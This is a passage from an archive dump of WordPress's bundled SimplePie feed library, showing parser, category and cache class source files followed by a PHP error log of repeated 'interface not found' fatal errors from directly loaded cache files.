        return '<!DOCTYPE rss [ <!ENTITY nbsp "&#x00A0;"> <!ENTITY iexcl "&#x00A1;"> <!ENTITY cent "&#x00A2;"> <!ENTITY pound "&#x00A3;"> <!ENTITY curren "&#x00A4;"> <!ENTITY yen "&#x00A5;"> <!ENTITY brvbar "&#x00A6;"> <!ENTITY sect "&#x00A7;"> <!ENTITY uml "&#x00A8;"> <!ENTITY copy "&#x00A9;"> <!ENTITY ordf "&#x00AA;"> <!ENTITY laquo "&#x00AB;"> <!ENTITY not "&#x00AC;"> <!ENTITY shy "&#x00AD;"> <!ENTITY reg "&#x00AE;"> <!ENTITY macr "&#x00AF;"> <!ENTITY deg "&#x00B0;"> <!ENTITY plusmn "&#x00B1;"> <!ENTITY sup2 "&#x00B2;"> <!ENTITY sup3 "&#x00B3;"> <!ENTITY acute "&#x00B4;"> <!ENTITY micro "&#x00B5;"> <!ENTITY para "&#x00B6;"> <!ENTITY middot "&#x00B7;"> <!ENTITY cedil "&#x00B8;"> <!ENTITY sup1 "&#x00B9;"> <!ENTITY ordm "&#x00BA;"> <!ENTITY raquo "&#x00BB;"> <!ENTITY frac14 "&#x00BC;"> <!ENTITY frac12 "&#x00BD;"> <!ENTITY frac34 "&#x00BE;"> <!ENTITY iquest "&#x00BF;"> <!ENTITY Agrave "&#x00C0;"> <!ENTITY Aacute "&#x00C1;"> <!ENTITY Acirc "&#x00C2;"> <!ENTITY Atilde "&#x00C3;"> <!ENTITY Auml "&#x00C4;"> <!ENTITY Aring "&#x00C5;"> <!ENTITY AElig "&#x00C6;"> <!ENTITY Ccedil "&#x00C7;"> <!ENTITY Egrave "&#x00C8;"> <!ENTITY Eacute "&#x00C9;"> <!ENTITY Ecirc "&#x00CA;"> <!ENTITY Euml "&#x00CB;"> <!ENTITY Igrave "&#x00CC;"> <!ENTITY Iacute "&#x00CD;"> <!ENTITY Icirc "&#x00CE;"> <!ENTITY Iuml "&#x00CF;"> <!ENTITY ETH "&#x00D0;"> <!ENTITY Ntilde "&#x00D1;"> <!ENTITY Ograve "&#x00D2;"> <!ENTITY Oacute "&#x00D3;"> <!ENTITY Ocirc "&#x00D4;"> <!ENTITY Otilde "&#x00D5;"> <!ENTITY Ouml "&#x00D6;"> <!ENTITY times "&#x00D7;"> <!ENTITY Oslash "&#x00D8;"> <!ENTITY Ugrave "&#x00D9;"> <!ENTITY Uacute "&#x00DA;"> <!ENTITY Ucirc "&#x00DB;"> <!ENTITY Uuml "&#x00DC;"> <!ENTITY Yacute "&#x00DD;"> <!ENTITY THORN "&#x00DE;"> <!ENTITY szlig "&#x00DF;"> <!ENTITY agrave "&#x00E0;"> <!ENTITY aacute "&#x00E1;"> <!ENTITY acirc "&#x00E2;"> <!ENTITY atilde "&#x00E3;"> <!ENTITY auml "&#x00E4;"> <!ENTITY aring "&#x00E5;"> <!ENTITY aelig "&#x00E6;"> <!ENTITY ccedil "&#x00E7;"> <!ENTITY egrave "&#x00E8;"> <!ENTITY eacute "&#x00E9;"> <!ENTITY ecirc "&#x00EA;"> <!ENTITY euml "&#x00EB;"> <!ENTITY igrave "&#x00EC;"> <!ENTITY iacute "&#x00ED;"> <!ENTITY icirc "&#x00EE;"> <!ENTITY iuml "&#x00EF;"> <!ENTITY eth "&#x00F0;"> <!ENTITY ntilde "&#x00F1;"> <!ENTITY ograve "&#x00F2;"> <!ENTITY oacute "&#x00F3;"> <!ENTITY ocirc "&#x00F4;"> <!ENTITY otilde "&#x00F5;"> <!ENTITY ouml "&#x00F6;"> <!ENTITY divide "&#x00F7;"> <!ENTITY oslash "&#x00F8;"> <!ENTITY ugrave "&#x00F9;"> <!ENTITY uacute "&#x00FA;"> <!ENTITY ucirc "&#x00FB;"> <!ENTITY uuml "&#x00FC;"> <!ENTITY yacute "&#x00FD;"> <!ENTITY thorn "&#x00FE;"> <!ENTITY yuml "&#x00FF;"> <!ENTITY OElig "&#x0152;"> <!ENTITY oelig "&#x0153;"> <!ENTITY Scaron "&#x0160;"> <!ENTITY scaron "&#x0161;"> <!ENTITY Yuml "&#x0178;"> <!ENTITY fnof "&#x0192;"> <!ENTITY circ "&#x02C6;"> <!ENTITY tilde "&#x02DC;"> <!ENTITY Alpha "&#x0391;"> <!ENTITY Beta "&#x0392;"> <!ENTITY Gamma "&#x0393;"> <!ENTITY Epsilon "&#x0395;"> <!ENTITY Zeta "&#x0396;"> <!ENTITY Eta "&#x0397;"> <!ENTITY Theta "&#x0398;"> <!ENTITY Iota "&#x0399;"> <!ENTITY Kappa "&#x039A;"> <!ENTITY Lambda "&#x039B;"> <!ENTITY Mu "&#x039C;"> <!ENTITY Nu "&#x039D;"> <!ENTITY Xi "&#x039E;"> <!ENTITY Omicron "&#x039F;"> <!ENTITY Pi "&#x03A0;"> <!ENTITY Rho "&#x03A1;"> <!ENTITY Sigma "&#x03A3;"> <!ENTITY Tau "&#x03A4;"> <!ENTITY Upsilon "&#x03A5;"> <!ENTITY Phi "&#x03A6;"> <!ENTITY Chi "&#x03A7;"> <!ENTITY Psi "&#x03A8;"> <!ENTITY Omega "&#x03A9;"> <!ENTITY alpha "&#x03B1;"> <!ENTITY beta "&#x03B2;"> <!ENTITY gamma "&#x03B3;"> <!ENTITY delta "&#x03B4;"> <!ENTITY epsilon "&#x03B5;"> <!ENTITY zeta "&#x03B6;"> <!ENTITY eta "&#x03B7;"> <!ENTITY theta "&#x03B8;"> <!ENTITY iota "&#x03B9;"> <!ENTITY kappa "&#x03BA;"> <!ENTITY lambda "&#x03BB;"> <!ENTITY mu "&#x03BC;"> <!ENTITY nu "&#x03BD;"> <!ENTITY xi "&#x03BE;"> <!ENTITY omicron "&#x03BF;"> <!ENTITY pi "&#x03C0;"> <!ENTITY rho "&#x03C1;"> <!ENTITY sigmaf "&#x03C2;"> <!ENTITY sigma "&#x03C3;"> <!ENTITY tau "&#x03C4;"> <!ENTITY upsilon "&#x03C5;"> <!ENTITY phi "&#x03C6;"> <!ENTITY chi "&#x03C7;"> <!ENTITY psi "&#x03C8;"> <!ENTITY omega "&#x03C9;"> <!ENTITY thetasym "&#x03D1;"> <!ENTITY upsih "&#x03D2;"> <!ENTITY piv "&#x03D6;"> <!ENTITY ensp "&#x2002;"> <!ENTITY emsp "&#x2003;"> <!ENTITY thinsp "&#x2009;"> <!ENTITY zwnj "&#x200C;"> <!ENTITY zwj "&#x200D;"> <!ENTITY lrm "&#x200E;"> <!ENTITY rlm "&#x200F;"> <!ENTITY ndash "&#x2013;"> <!ENTITY mdash "&#x2014;"> <!ENTITY lsquo "&#x2018;"> <!ENTITY rsquo "&#x2019;"> <!ENTITY sbquo "&#x201A;"> <!ENTITY ldquo "&#x201C;"> <!ENTITY rdquo "&#x201D;"> <!ENTITY bdquo "&#x201E;"> <!ENTITY dagger "&#x2020;"> <!ENTITY Dagger "&#x2021;"> <!ENTITY bull "&#x2022;"> <!ENTITY hellip "&#x2026;"> <!ENTITY permil "&#x2030;"> <!ENTITY prime "&#x2032;"> <!ENTITY Prime "&#x2033;"> <!ENTITY lsaquo "&#x2039;"> <!ENTITY rsaquo "&#x203A;"> <!ENTITY oline "&#x203E;"> <!ENTITY frasl "&#x2044;"> <!ENTITY euro "&#x20AC;"> <!ENTITY image "&#x2111;"> <!ENTITY weierp "&#x2118;"> <!ENTITY real "&#x211C;"> <!ENTITY trade "&#x2122;"> <!ENTITY alefsym "&#x2135;"> <!ENTITY larr "&#x2190;"> <!ENTITY uarr "&#x2191;"> <!ENTITY rarr "&#x2192;"> <!ENTITY darr "&#x2193;"> <!ENTITY harr "&#x2194;"> <!ENTITY crarr "&#x21B5;"> <!ENTITY lArr "&#x21D0;"> <!ENTITY uArr "&#x21D1;"> <!ENTITY rArr "&#x21D2;"> <!ENTITY dArr "&#x21D3;"> <!ENTITY hArr "&#x21D4;"> <!ENTITY forall "&#x2200;"> <!ENTITY part "&#x2202;"> <!ENTITY exist "&#x2203;"> <!ENTITY empty "&#x2205;"> <!ENTITY nabla "&#x2207;"> <!ENTITY isin "&#x2208;"> <!ENTITY notin "&#x2209;"> <!ENTITY ni "&#x220B;"> <!ENTITY prod "&#x220F;"> <!ENTITY sum "&#x2211;"> <!ENTITY minus "&#x2212;"> <!ENTITY lowast "&#x2217;"> <!ENTITY radic "&#x221A;"> <!ENTITY prop "&#x221D;"> <!ENTITY infin "&#x221E;"> <!ENTITY ang "&#x2220;"> <!ENTITY and "&#x2227;"> <!ENTITY or "&#x2228;"> <!ENTITY cap "&#x2229;"> <!ENTITY cup "&#x222A;"> <!ENTITY int "&#x222B;"> <!ENTITY there4 "&#x2234;"> <!ENTITY sim "&#x223C;"> <!ENTITY cong "&#x2245;"> <!ENTITY asymp "&#x2248;"> <!ENTITY ne "&#x2260;"> <!ENTITY equiv "&#x2261;"> <!ENTITY le "&#x2264;"> <!ENTITY ge "&#x2265;"> <!ENTITY sub "&#x2282;"> <!ENTITY sup "&#x2283;"> <!ENTITY nsub "&#x2284;"> <!ENTITY sube "&#x2286;"> <!ENTITY supe "&#x2287;"> <!ENTITY oplus "&#x2295;"> <!ENTITY otimes "&#x2297;"> <!ENTITY perp "&#x22A5;"> <!ENTITY sdot "&#x22C5;"> <!ENTITY lceil "&#x2308;"> <!ENTITY rceil "&#x2309;"> <!ENTITY lfloor "&#x230A;"> <!ENTITY rfloor "&#x230B;"> <!ENTITY lang "&#x2329;"> <!ENTITY rang "&#x232A;"> <!ENTITY loz "&#x25CA;"> <!ENTITY spades "&#x2660;"> <!ENTITY clubs "&#x2663;"> <!ENTITY hearts "&#x2665;"> <!ENTITY diams "&#x2666;"> ]>';
    }
}

class_alias('SimplePie\Parser', 'SimplePie_Parser');
Category.php000064400000004650152222652070007042 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages all category-related data
 *
 * Used by {@see \SimplePie\Item::get_category()} and {@see \SimplePie\Item::get_categories()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_category_class()}
 */
class Category
{
    /**
     * Category identifier
     *
     * @var string|null
     * @see get_term
     */
    public $term;

    /**
     * Categorization scheme identifier
     *
     * @var string|null
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Human readable label
     *
     * @var string|null
     * @see get_label()
     */
    public $label;

    /**
     * Category type
     *
     * category for <category>
     * subject for <dc:subject>
     *
     * @var string|null
     * @see get_type()
     */
    public $type;

    /**
     * Constructor, used to input the data
     *
     * @param string|null $term
     * @param string|null $scheme
     * @param string|null $label
     * @param string|null $type
     */
    public function __construct(?string $term = null, ?string $scheme = null, ?string $label = null, ?string $type = null)
    {
        $this->term = $term;
        $this->scheme = $scheme;
        $this->label = $label;
        $this->type = $type;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the category identifier
     *
     * @return string|null
     */
    public function get_term()
    {
        return $this->term;
    }

    /**
     * Get the categorization scheme identifier
     *
     * @return string|null
     */
    public function get_scheme()
    {
        return $this->scheme;
    }

    /**
     * Get the human readable label
     *
     * @param bool $strict
     * @return string|null
     */
    public function get_label(bool $strict = false)
    {
        if ($this->label === null && $strict !== true) {
            return $this->get_term();
        }
        return $this->label;
    }

    /**
     * Get the category type
     *
     * @return string|null
     */
    public function get_type()
    {
        return $this->type;
    }
}

class_alias('SimplePie\Category', 'SimplePie_Category');
.htaccess000064400000000000152222652070006333 0ustar00Cache/Base.php000064400000003526152222652070007143 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Base for cache objects
 *
 * Classes to be used with {@see \SimplePie\Cache::register()} are expected
 * to implement this interface.
 *
 * @deprecated since SimplePie 1.8.0, use "Psr\SimpleCache\CacheInterface" instead
 */
interface Base
{
    /**
     * Feed cache type
     *
     * @var string
     */
    public const TYPE_FEED = 'spc';

    /**
     * Image cache type
     *
     * @var string
     */
    public const TYPE_IMAGE = 'spi';

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type);

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data);

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed> Data for SimplePie::$data
     */
    public function load();

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime();

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch();

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink();
}

class_alias('SimplePie\Cache\Base', 'SimplePie_Cache_Base');
Cache/DataCache.php000064400000005357152222652070010072 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Subset of PSR-16 Cache client for caching data arrays
 *
 * Only get(), set() and delete() methods are used,
 * but not has(), getMultiple(), setMultiple() or deleteMultiple().
 *
 * The methods names must be different, but should be compatible to the
 * methods of \Psr\SimpleCache\CacheInterface.
 *
 * @internal
 */
interface DataCache
{
    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string   $key     The unique key of this item in the cache.
     * @param mixed    $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null);

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array<mixed> $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool;

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool;
}
Cache/File.php000064400000005641152222652070007150 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Caches data to the filesystem
 *
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class File implements Base
{
    /**
     * Location string
     *
     * @see SimplePie::$cache_location
     * @var string
     */
    protected $location;

    /**
     * Filename
     *
     * @var string
     */
    protected $filename;

    /**
     * File extension
     *
     * @var string
     */
    protected $extension;

    /**
     * File path
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->location = $location;
        $this->filename = $name;
        $this->extension = $type;
        $this->name = "$this->location/$this->filename.$this->extension";
    }

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) {
            if ($data instanceof \SimplePie\SimplePie) {
                $data = $data->data;
            }

            $data = serialize($data);
            return (bool) file_put_contents($this->name, $data);
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        if (file_exists($this->name) && is_readable($this->name)) {
            return unserialize((string) file_get_contents($this->name));
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        return @filemtime($this->name);
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        return @touch($this->name);
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if (file_exists($this->name)) {
            return unlink($this->name);
        }
        return false;
    }
}

class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File');
Cache/DB.php000064400000007171152222652070006556 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use SimplePie\Item;

/**
 * Base class for database-based caches
 *
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
abstract class DB implements Base
{
    /**
     * Helper for database conversion
     *
     * Converts a given {@see SimplePie} object into data to be stored
     *
     * @param \SimplePie\SimplePie $data
     * @return array{string, array<string, Item>} First item is the serialized data for storage, second item is the unique ID for this item
     */
    protected static function prepare_simplepie_object_for_cache(\SimplePie\SimplePie $data)
    {
        $items = $data->get_items();
        $items_by_id = [];

        if (!empty($items)) {
            foreach ($items as $item) {
                $items_by_id[$item->get_id()] = $item;
            }

            if (count($items_by_id) !== count($items)) {
                $items_by_id = [];
                foreach ($items as $item) {
                    $items_by_id[$item->get_id(true)] = $item;
                }
            }

            if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0];
            } else {
                $channel = null;
            }

            if ($channel !== null) {
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']);
                }
            }
            if (isset($data->data['items'])) {
                unset($data->data['items']);
            }
            if (isset($data->data['ordered_items'])) {
                unset($data->data['ordered_items']);
            }
        }
        return [serialize($data->data), $items_by_id];
    }
}

class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB');
Cache/error_log000064400000514224152222652070007477 0ustar00[16-Nov-2024 04:22:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[16-Nov-2024 04:22:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[16-Nov-2024 04:22:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[16-Nov-2024 04:22:25 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[16-Nov-2024 04:22:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[16-Nov-2024 04:22:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[16-Nov-2024 04:22:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[16-Nov-2024 04:22:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[16-Nov-2024 04:22:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[17-Nov-2024 02:06:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[17-Nov-2024 02:06:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[17-Nov-2024 02:06:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[17-Nov-2024 02:06:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[17-Nov-2024 02:06:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[17-Nov-2024 02:06:11 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[17-Nov-2024 02:06:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[17-Nov-2024 02:06:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[17-Nov-2024 02:06:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[16-Jan-2025 06:49:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[16-Jan-2025 06:49:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[16-Jan-2025 06:49:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[16-Jan-2025 06:49:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[16-Jan-2025 06:49:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[16-Jan-2025 06:49:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[16-Jan-2025 06:49:30 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[16-Jan-2025 06:49:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[16-Jan-2025 06:49:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[16-Jan-2025 07:50:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
